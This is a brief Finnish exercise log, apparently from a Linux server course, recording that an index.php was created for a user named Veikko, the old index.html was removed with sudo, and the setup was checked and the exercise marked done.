Tehdään Veikolle index.php ja poistetaan vanha index.html
"sudo nano index.php"
"sudo rm index.html"

Tämän jälkeen tarkistettiin toimivuus ja todettiin harjoitus tehdyksi.


Otto Kalliomäki